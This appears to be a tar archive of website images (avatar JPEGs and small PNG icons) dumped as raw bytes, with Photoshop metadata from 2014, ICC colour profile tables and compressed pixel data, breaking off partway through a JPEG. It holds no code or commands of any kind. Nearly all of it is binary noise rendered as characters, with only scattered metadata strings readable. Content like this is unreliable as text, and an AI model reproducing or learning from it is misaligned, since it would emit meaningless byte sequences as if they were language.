@#��g�U�7�h�C)���~\��TҠ�R��z0�ꛃL��+��k��2�\�UJ�W[�W,US�Uq��劯'(�mq�ꢬ�G�4�W�N�W�-����{S�aUǜ�X���b?�P`2�	�z2q��:��c�=�~�8Ss�^j�e��0x������:���Y���6�&���ۗ?Nf��]؟s�9|����3h�Tz�ς�,�ζ¢���r�e���I�9_ɴH��a��뺝�ۜ��-'6�"dOT�;�d�����'��~f��ʨ��ᕍ�?���;c�{�PW��;��l��˅{m�1����=���0ֻ�f�oZd��:�������c��/m�~����v�T����q�����S�휳r��z��9Pr��w�8����z��\���6�|���C���q�O�y��T������	��@��P����=�Q�-��f�m�^	a��V}>_yw�Z��b�
>dI�H���w����`�������a|�{�z�^�8�bıȦ��w;D��ؑ��\y�\����0{F��oo&$�q$�64�NW� o��Y{�����y�L��0�e�e�)�V7�sW��6��[��HƜi�ݲr����
�\�YYXU��W1���images/avatar1.jpg000060400000030226150710775200010055 0ustar00����ExifMM*bj(1r2��i��
��'
��'Adobe Photoshop CC (Windows)2014:01:29 05:24:54��,�,&(.�HH���Adobe_CM��Adobed����			



��,,"����?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�UC�緧t���v��v��kaհ�W3���Yc���8�`w��\F�w�{�e���w�fe�6���W9��]��eN�d|
�J+ȧWhkl:����rZ1�E���
\�v���
B3<F�r@q�}�Q�-��=������\�U��Yo�C����{���]A��Yr'�Gd�5�����[��ܪD���f;�gS*�A���Y?[�̮�\��5�v�Z��a�PְU_��LX����4t�1��L�Q���٤��/XR٪��@	���O��텇h+����c? �X�9�]v��ՏR=��o������gf�#g�W�
LJ{���W�	x>�ֺ���ۋ�>ֹڸi�#�z^����0N$����Kp��麗���S�J��}Ya��;𷕺����!��YʏY��t�����Photoshop 3.08BIM%8BIM:�printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
x8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM8BIM8BIM08BIM-8BIM@@8BIM8BIMI,,
Untitled-1,,nullboundsObjcRct1Top longLeftlongBtomlong,Rghtlong,slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong,Rghtlong,urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM�,,������Adobe_CM��Adobed����			



��,,"����?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�UC�緧t���v��v��kaհ�W3���Yc���8�`w��\F�w�{�e���w�fe�6���W9��]��eN�d|
�J+ȧWhkl:����rZ1�E���
\�v���
B3<F�r@q�}�Q�-��=������\�U��Yo�C����{���]A��Yr'�Gd�5�����[��ܪD���f;�gS*�A���Y?[�̮�\��5�v�Z��a�PְU_��LX����4t�1��L�Q���٤��/XR٪��@	���O��텇h+����c? �X�9�]v��ՏR=��o������gf�#g�W�
LJ{���W�	x>�ֺ���ۋ�>ֹڸi�#�z^����0N$����Kp��麗���S�J��}Ya��;𷕺����!��YʏY��t���8BIM!SAdobe PhotoshopAdobe Photoshop CC8BIM��
�http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2014-01-29T05:24:54-08:00" xmp:MetadataDate="2014-01-29T05:24:54-08:00" xmp:ModifyDate="2014-01-29T05:24:54-08:00" xmpMM:InstanceID="xmp.iid:a4bd3fd9-3c51-2d44-8fda-aa30d152b8b5" xmpMM:DocumentID="xmp.did:ad656519-1fac-7847-b366-3d45389b4721" xmpMM:OriginalDocumentID="xmp.did:ad656519-1fac-7847-b366-3d45389b4721" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:ad656519-1fac-7847-b366-3d45389b4721" stEvt:when="2014-01-29T05:24:54-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:a4bd3fd9-3c51-2d44-8fda-aa30d152b8b5" stEvt:when="2014-01-29T05:24:54-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��XICC_PROFILEHLinomntrRGB XYZ �	1acspMSFTIEC sRGB���-HP  cprtP3desc�lwtpt�bkptrXYZgXYZ,bXYZ@dmndTpdmdd��vuedL�view�$lumi�meas$tech0rTRC<gTRC<bTRC<textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ �Q�XYZ XYZ o�8��XYZ b����XYZ $����descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view��_.���\�XYZ L	VPW�meas�sig CRT curv
#(-27;@EJOTY^chmrw|�������������������������
%+28>ELRY`gnu|����������������&/8AKT]gqz������������!-8COZfr~���������� -;HUcq~���������
+:IXgw��������'7HYj{�������+=Oat�������2FZn�������		%	:	O	d	y	�	�	�	�	�	�

'
=
T
j
�
�
�
�
�
�"9Qi������*C\u�����


&
@
Z
t
�
�
�
�
�.Id����	%A^z����	&Ca~����1Om����&Ed����#Cc����'Ij����4Vx���&Il����Ae����@e���� Ek���*Qw���;c���*R{���Gp���@j���>i���  A l � � �!!H!u!�!�!�"'"U"�"�"�#
#8#f#�#�#�$$M$|$�$�%	%8%h%�%�%�&'&W&�&�&�''I'z'�'�(
(?(q(�(�))8)k)�)�**5*h*�*�++6+i+�+�,,9,n,�,�--A-v-�-�..L.�.�.�/$/Z/�/�/�050l0�0�11J1�1�1�2*2c2�2�3
3F33�3�4+4e4�4�55M5�5�5�676r6�6�7$7`7�7�88P8�8�99B99�9�:6:t:�:�;-;k;�;�<'<e<�<�="=a=�=�> >`>�>�?!?a?�?�@#@d@�@�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�\�]']x]�^^l^�__a_�``W`�`�aOa�a�bIb�b�cCc�c�d@d�d�e=e�e�f=f�f�g=g�g�h?h�h�iCi�i�jHj�j�kOk�k�lWl�mm`m�nnkn�ooxo�p+p�p�q:q�q�rKr�ss]s�ttpt�u(u�u�v>v�v�wVw�xxnx�y*y�y�zFz�{{c{�|!|�|�}A}�~~b~�#��G���
�k�͂0����W�������G����r�ׇ;����i�Ή3�����d�ʋ0�����c�ʍ1�����f�Ώ6����n�֑?����z��M��� ����_�ɖ4���
�u��L���$�����h�՛B��������d�Ҟ@��������i�ءG���&����v��V�ǥ8��������n��R�ĩ7�������u��\�ЭD���-�������u��`�ֲK�³8���%�������y��h��Y�ѹJ�º;���.���!������
�����z���p��g���_���X���Q���K���F���Aǿ�=ȼ�:ɹ�8ʷ�6˶�5̵�5͵�6ζ�7ϸ�9к�<Ѿ�?��D���I���N���U���\���d���l���v�ۀ�܊�ݖ�ޢ�)߯�6��D���S���c���s���
����2��F���[���p�����(��@���X���r�����4��P��m��������8��W��w����)���K��m����Adobed����





		
			
��,,"�����	
	
s!1AQa"q�2���B#�R��3b�$r��%C4S���cs�5D'���6Tdt���&�	
��EF��V�U(�������eu�������fv�������7GWgw�������8HXhx�������)9IYiy�������*:JZjz�������m!1AQa"q��2������#BRbr�3$4C��S%�c��s�5�D�T�	
&6E'dtU7��()��󄔤�����eu�������FVfv�������GWgw�������8HXhx�������9IYiy�������*:JZjz��������?�U�MQtm�Qf�a��=���i�S��ґ��A1^�Qv�lC<��R�ON����~,n�1�����W:�6��)���T'z��N�d�7�[��Z��9٭����\I�ʐ�-?�
�s�y���K�թ���Ϙpߴ+�Ѳ0�x�����1��&E��7�����[n+�������T��n���e
F��^O���.OL�s�����8I|°��9k�))�����U�̀߈�ܧ׷N�_Ll
pE>Y����,�~�'W�ٿ^jx@-#X��B��Evȶ�-�t����SSS���(�D�8�/����&���+�5�?��
��oיv����+)�|�~d�z�r��I��O�΋�}_�_��O�ԯ��~fz?�s_O��}>�ikO�0��\8�A�������m�'���&�O����*������z���)��W#�<�HA�}�c��':ǥ����Q�~	׈8j��~>?C%�B{��<$(f����S�x�8je�]�����images/avatar6.jpg000060400000031713150710775200010064 0ustar00����ExifMM*bj(1r2��i��
��'
��'Adobe Photoshop CC (Windows)2014:01:29 04:54:24��,�,&(.�HH���Adobe_CM��Adobed����			



��,,"����?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?����_X�}�����ֻk�i���j�sXN�O�~ߌ�A������V�a\��-(���#�e�8�L���hQ�Ժ=��Qcdj �ڬa�d��Ѻ��^ȝ�4��!u���}O_�=��;���v�mf�58�4�R�3����D	�:���:��e�Տ�'M
�в>��A��(-u"�fZ?9nl>*�pV��p�����{w1���^k��cd][�Z�b��y�\�yc]�תo���p��@���9�E�A����)�Y�#�.��XT
�50>�`u75޳�Ic@&>.Zm�X
�Δ������X5���W1�Ř7��� ��i�WUOZ�y�X�?��
�����K<s�[���u1g�̀&"x��7�gM����
5q2�:�U�Y|@���ޭ�v���.+�{���W�׿G�����q}��]��v�w��Eq]O����o�}`�~�g���z^����p������u?��sG7�	�}?�:���?��c-ic,Ѯ#I�].
x��O��c��d�rv�f����}��ѿw���Lz��}��'�3$q��B]8���@9��~�����E���~i�5Z�C}/��ڪg�9���ګ������L҇w������
�Photoshop 3.08BIM%8BIM:�printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
x8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM8BIM8BIM08BIM-8BIM@@8BIM8BIMI,,
Untitled-1,,nullboundsObjcRct1Top longLeftlongBtomlong,Rghtlong,slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong,Rghtlong,urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM�,,������Adobe_CM��Adobed����			



��,,"����?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?����_X�}�����ֻk�i���j�sXN�O�~ߌ�A������V�a\��-(���#�e�8�L���hQ�Ժ=��Qcdj �ڬa�d��Ѻ��^ȝ�4��!u���}O_�=��;���v�mf�58�4�R�3����D	�:���:��e�Տ�'M
�в>��A��(-u"�fZ?9nl>*�pV��p�����{w1���^k��cd][�Z�b��y�\�yc]�תo���p��@���9�E�A����)�Y�#�.��XT
�50>�`u75޳�Ic@&>.Zm�X
�Δ������X5���W1�Ř7��� ��i�WUOZ�y�X�?��
�����K<s�[���u1g�̀&"x��7�gM����
5q2�:�U�Y|@���ޭ�v���.+�{���W�׿G�����q}��]��v�w��Eq]O����o�}`�~�g���z^����p������u?��sG7�	�}?�:���?��c-ic,Ѯ#I�].
x��O��c��d�rv�f����}��ѿw���Lz��}��'�3$q��B]8���@9��~�����E���~i�5Z�C}/��ڪg�9���ګ������L҇w�����8BIM!SAdobe PhotoshopAdobe Photoshop CC8BIM��khttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2014-01-29T04:54:24-08:00" xmp:MetadataDate="2014-01-29T04:54:24-08:00" xmp:ModifyDate="2014-01-29T04:54:24-08:00" xmpMM:InstanceID="xmp.iid:b7f99c16-c9ec-4843-8128-6efd97ebcc9e" xmpMM:DocumentID="xmp.did:4ff28fb7-61c9-0043-9053-9251257d3e6d" xmpMM:OriginalDocumentID="xmp.did:4ff28fb7-61c9-0043-9053-9251257d3e6d" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" dc:format="image/jpeg"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:4ff28fb7-61c9-0043-9053-9251257d3e6d" stEvt:when="2014-01-29T04:54:24-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:b7f99c16-c9ec-4843-8128-6efd97ebcc9e" stEvt:when="2014-01-29T04:54:24-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>62E2EE3BC8AA8E474FF46071B1390BE8</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��XICC_PROFILEHLinomntrRGB XYZ �	1acspMSFTIEC sRGB���-HP  cprtP3desc�lwtpt�bkptrXYZgXYZ,bXYZ@dmndTpdmdd��vuedL�view�$lumi�meas$tech0rTRC<gTRC<bTRC<textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ �Q�XYZ XYZ o�8��XYZ b����XYZ $����descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view��_.���\�XYZ L	VPW�meas�sig CRT curv
#(-27;@EJOTY^chmrw|�������������������������
%+28>ELRY`gnu|����������������&/8AKT]gqz������������!-8COZfr~���������� -;HUcq~���������
+:IXgw��������'7HYj{�������+=Oat�������2FZn�������		%	:	O	d	y	�	�	�	�	�	�

'
=
T
j
�
�
�
�
�
�"9Qi������*C\u�����


&
@
Z
t
�
�
�
�
�.Id����	%A^z����	&Ca~����1Om����&Ed����#Cc����'Ij����4Vx���&Il����Ae����@e���� Ek���*Qw���;c���*R{���Gp���@j���>i���  A l � � �!!H!u!�!�!�"'"U"�"�"�#
#8#f#�#�#�$$M$|$�$�%	%8%h%�%�%�&'&W&�&�&�''I'z'�'�(
(?(q(�(�))8)k)�)�**5*h*�*�++6+i+�+�,,9,n,�,�--A-v-�-�..L.�.�.�/$/Z/�/�/�050l0�0�11J1�1�1�2*2c2�2�3
3F33�3�4+4e4�4�55M5�5�5�676r6�6�7$7`7�7�88P8�8�99B99�9�:6:t:�:�;-;k;�;�<'<e<�<�="=a=�=�> >`>�>�?!?a?�?�@#@d@�@�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�\�]']x]�^^l^�__a_�``W`�`�aOa�a�bIb�b�cCc�c�d@d�d�e=e�e�f=f�f�g=g�g�h?h�h�iCi�i�jHj�j�kOk�k�lWl�mm`m�nnkn�ooxo�p+p�p�q:q�q�rKr�ss]s�ttpt�u(u�u�v>v�v�wVw�xxnx�y*y�y�zFz�{{c{�|!|�|�}A}�~~b~�#��G���
�k�͂0����W�������G����r�ׇ;����i�Ή3�����d�ʋ0�����c�ʍ1�����f�Ώ6����n�֑?����z��M��� ����_�ɖ4���
�u��L���$�����h�՛B��������d�Ҟ@��������i�ءG���&����v��V�ǥ8��������n��R�ĩ7�������u��\�ЭD���-�������u��`�ֲK�³8���%�������y��h��Y�ѹJ�º;���.���!������
�����z���p��g���_���X���Q���K���F���Aǿ�=ȼ�:ɹ�8ʷ�6˶�5̵�5͵�6ζ�7ϸ�9к�<Ѿ�?��D���I���N���U���\���d���l���v�ۀ�܊�ݖ�ޢ�)߯�6��D���S���c���s���
����2��F���[���p�����(��@���X���r�����4��P��m��������8��W��w����)���K��m����Adobed����





		
			
��,,"�����	
	
s!1AQa"q�2���B#�R��3b�$r��%C4S���cs�5D'���6Tdt���&�	
��EF��V�U(�������eu�������fv�������7GWgw�������8HXhx�������)9IYiy�������*:JZjz�������m!1AQa"q��2������#BRbr�3$4C��S%�c��s�5�D�T�	
&6E'dtU7��()��󄔤�����eu�������FVfv�������GWgw�������8HXhx�������9IYiy�������*:JZjz��������?��J����9�o��gҴw��e�C��/��Iԣ-�]�g��8���gU���:=v�(F�h�~�1���G����b_b7J�u�Bz�W�5`�h+�8qm��[�_��2�&������,��E��2]�G@�
�SJ�-�U�!�?8i�혺3C?/J;�W캀��qq��ə�'���g`z�y��Q�c���9��+�#���9T:(hq�\��+[���e=��j���>�J�5z�7�/­��WK�ЗH��tR���{���Y�ȷ����uEj��w�P�>y�?0e�↑�j�����������2t9O�	"]F��r��Kt�)�z��Yku
	�T3S��c���-"���:[�UoU�VQ�H#�>��&�����du2[��u({�[y�D�-�M&)=U��=0�&����q�GU	󑅊�Q.��G�d�Dc1d:��k�h�v�j�� �M]��������TZP���0���ڞ=��j\@���o��x�����є����e�`���b�0�����s
k@eoR�9D߲:�3�y���޷N1z7��7*�'��9��ff��@pn���p�@���	c��Ic47Ep�sl�F��J���M���N���&W��O#�<O��~��[�~�z��g��c
>�q���iқ���e����1�#{�ONN���mD�9�qFꐗ_G�V�Jm�����\���?Î�>�y�������}K���T;�4�?�|����images/minimal.png000060400000002132150710775200010143 0ustar00�PNG


IHDR�Ȥr�!IDATx^�Ok[�{b��E\������ ��V�Zq��'�܉ե܅M�H	t!*�Pk��n�	-d��Bh��B8>	��̟�����3e�<���Ϸt�����,U.�{Go>j�曜�T���Ύ_�T�ﳬ���
�sP�#F���KXr��D�Ok��>z��GOC}�ʫ�-�dl�8�,
�|��է���u�?Ƅ
���=š����c�aj���6��X>�T�Go��R��}�чX>���{�Ϲ㐯B8N��+L�Ճ�j&a���`�G8��כ���|����p��1%}�'>����ڿ�/�RJ��>����
.���#�.<��f�T�R|P��@tA|�qʥ��5��;���:X}�k >�:�,�Ku@�p(��`�K�]��f/Y��>B">�r��{Ň��B|#��{Ň�g�_���C���PB���v�徬D�42\��!��$�
��Ab��Z|Q��",�l������נ�'���a	�`ۜm����)����*�ơ��P��!,�!(��Y��Y\:*Zk�����	�{L@ǡ�L��w1@p5� �K�
���$�����hџ/� �+u�~r��CG��|O��֗Հ(���p�dp�n��e����@
v5�����&]�trH���3��w�C�%�\�ۃ>X�D>������nl�x�>z���/Y���XK���D�.�0��1y��
I�u�w�՗����PY‘���1�g���c�L'�z��L'���,��W|8pH���D���^����'�$IsH�b>�z��*�=�܀fO+@)>�B!$�h��׻�co+�O�#$U��z�@|�u�E�oR��B���i>1�
�r�b^bu��`��O8	�e�}a��G�g}&X���$��<�������k���#!#��'	�8a�X�	؅��n�Z̞�!�O�|�ǽa>�$�2��{��@�}k��r��O�߿7��<$��1eoPNN����&�O�IEND�B`�images/orange@2x.png000060400000006313150710775200010347 0ustar00�PNG


IHDR`,[�b��IDATx^�{pTWƛ�!)���(�@��B
(ә�XJ1
�N}� -`gZ���bG4J)Ey4���GD��I�B�4�>�MH'��9���ٻ�ܛsv�ٽ��o`v������ýw�N�y��(��q�?S�V�����A(�L��A����;��Y�m�Ξ��|����ʄ@\
$ls|=����غ�E��CA.�I��"8
j�a�&�����P_�u�4�
dw�9�:@4�&p���@C��"3�:���p<*����}3���\�IS|QP\�U��c0��d�;��=�}��u�Q ���9�>z��NwpN��T�`��Z��U��e�p�t�c?�
�����}��"��2�k��Yt�L�E	O�uMo�Y��e�4y|�Y�%����o�XƳ̜�_��c�0���]-��Y��<KA����hY:L4�W���,�f�8�,�@*��ŠHѲTq�&���G�-�RO��Ki�ٯ�|�d��(3B��&���=�����.k(
�,�>�.��k��`���*�,�>,S|Q�S��D*�x-��[d�z֗n�	��^��S�$_�p��/�.����K����f��@wFs_�L�E	K�Z`���\03R�@���5Y:�+�In�l'^��}�g��Z�����P��2ɗ3a�����q3�7�þ�&�
XJ�V�}b����x�r�S�̗�z7�#���a�F��3<	ds�
<�� ���9Y9�{��i	��}��p��:8�V��J�>w�a��Yp������_����Y��6�׆�`��"��V�����V�^�sC��3�>��_��\����*@8΂ �	B�28���p��f�=M�E	�Z x5���{�7`��
�K�=��3�� D��m��(w�_&i|'��D9�j�"J'�]�?E�����~|L�K`>�L-./E�'yΏ�d7���]/_:٥��r��v���W���d��K�����,��_��l�v���k��.߅�)�˺r?�=ñlC��
|�z�W�:.�tv�w?�^���w_�}��~��%��f�	�����H��>��gG��Dk�t���~��;�n�I_�XCݭ�w�h��Ni�b�漀��-�(?Q*��f�������H���U�񞓸�N���8
��(x��������J�~����y�|`��V��|,��Ľ#r���4�b���e�~�2���L�X>*�࿓c�J�b�\�[��@6�\��K�K�A�Gu@u�9v�T��<�I���1ʽN�W�����|�e=����+�J^&;J P�uT���.��ץo��n'��^�B_�c�O�[�iY�S��+�
����\�r��(�{���?�Q��ﲀ_��2�e��`d_�t��an�.}��<6#���b7�d�<���w*�-s����7�
�"�/��)�o�_�R�G@6�Y�-
�W~ƣ/u"7��s�l�*���~�D<v�B�B �B���T�op60�,�	~�J�փ��d�nVY�$[�_}�T��^ �{�f
|ۀ���f*��d�W�o:H����; �l�4�K~�Jq�!
�s�5Hc�������*$c~�Q���_�J8
B���	(�ẛ���)�}ȦN�o����S�ۮ�����o��K`@��S����-���1% 'ʬk+��k���/NЕ"7��m�m����m�#�/_��*���uy,ZS���CQ~�7�C���`�~䗯c���9C	��?��|[5/;��'�/�"7�m^������ͱ8�b
}����ع��-v�(s[��r�H��|�o�����=����{��Y�u�/yK�9K����N��v����ûvB,�)�]��%�Oi@uҔ~����b�0���mo�8�ݕ��9��*ʝ� �/�.s�n�r�Xw������@ufJ��^<��"��p�����W�X�}Ҵ�S��c�b� �/��&"M`���@�g���2�9��{i)_R
���\�*Y�6tzS�o��"�E��X����6��N@U28f���7��
`%��ª}-�
���m�w�_�]��1����t�/��J�/x#HS��%�+[�ư	�7{֗n���%n4S�з�cچN�&��r��+`�mP	2���O��5��(�;R��Z��q�����rx�cن.�ȷ�%�Vi]�$ZK�K�y����'s&�ᗯ����*_���(KA%�v��<D�D���L�s�t�KP�<��g�\v�.��:��oЮ�[�W�P� �'���������߻��.<R��
?�@�i�������~���=,y�q>X���4n�H�~tx=Y|-p	x26n*|ǂ���
��M���:|E���u9x���S�����J���k��X9��/]d���y�`	���r@���<^�|�L�Ac|1���M�P���D
�1��Q�&#}�)��	Ŷ����
0�.��%�Ҿ�U��x���Z�|Q�1}-�
�dl�L�m�o����{ඇ��x�*p*޲�gU��Z௠x-���|�AУ��=a����͏��ʫ�gHhg�o��K��i�3l�/f�B_�<�E��@{��3�­��
��d�t�$_���+�
L/��>��%�ͷ���8-��&��|�|���*_^�t�[;�/��R��Y�ԛ��wQ�<M7eo��听�a�T�̕�cVpaS|Q�{A���W�� �YGA��=�=�[M�}�������:=ı�9� I�[�ިQX�5��$_�c_+b��@)8��oY��EtO$��AX��*�\I��.F��M]���`!V�&�g`��E���m��qy�~_[Ʊ�L��fJ���G���⤃cWp_\,�x��5W���@X�E׸�J��I�(^�*�,y`�)�U��r��Ur�q|�r�!H��A�l��I�	���g|�$8�mW�T�M��e+1 ���q�n<���Q߷4�7�|�ĹP|||��uvv&@����Ǐ�?�n���N-�IEND�B`�images/img5.jpg000060400000073602150710775200007364 0ustar00����ExifMM*bj(1r2��i��
��'
��'Adobe Photoshop CC (Windows)2014:01:27 19:34:16����&(.�HH���Adobe_CM��Adobed����			



����"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?���.����+�h$����7a�<,*���0?U'��r&��}�J^��~c=��O�x��'�/E�)qʤ�<S��B�]<��?�./RY	�!��a'V�G�T����m��؏)��T��6ڢE�Z)9)� �VI��+	���v�[���|��NH
v������>�JŸ���%�a�����v���n-��o�'_��ͬ��T���S��.ÿ�'�hp?�r�#�0]<��1����P����ZX���ib�������)��T�k�cY閼�7���f�8��8d;}��BPk����S�hC�`���k��AN/O����O������=�=��Z�%���q�r�����8s$-W�<$���-�̖�š�����-���� ��Q�E�����̼g�=���5ѡV��n��Sc����R�[ЛhS�1!
SРko�,��$�Bko��o��B�	*�����U�e��02<�0:noSsۅW��K���T���������d�v��~�^��Y-x=�M������T��Tnf�i/}�.��uL���r�U��k���D���g���t6}l�ooS�XW9�6�/Q�o�����3~�b�)�9;n��>2�)�EQ?�5�7L+�����W���[�-1�d`����t�[�^ͷ4|��g��L��k�612(�q��Sf��!�(��nQr�?Zf�9Ē�q�Q+j��_�m��p��^�h/{����C����U��x��k��0��p:==
�}Ks�_{���K�?����l���j���
�q�9�Y�M�W�wQc��q��M��uz���l�Ϥ���<��w��k�K�ﲓ��P]�߾�bS)�����C��Y������-e�ۮ���it}��Y�閜��{kq,}DZ��V7��&�f���Aq��Ϫ�%��`�_
��}�,�VD�]�����3��H�z*��K�f��� .�C|�T5�u���-t��������a6�uy��-6F��|T�T�ci��i:,�~�c2�s�ˆ�4J]â��K~�a��p�ǖu���딿w�vA�D�����_W�ҫ�E��I��}jފ�Eo��@��k���
